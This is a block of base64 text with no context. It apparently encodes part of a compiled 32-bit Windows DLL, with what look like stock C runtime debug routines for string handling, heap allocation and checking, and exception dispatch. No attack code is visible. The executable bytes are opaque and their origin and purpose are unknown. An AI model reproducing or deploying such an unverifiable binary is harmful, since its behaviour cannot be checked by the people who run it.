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 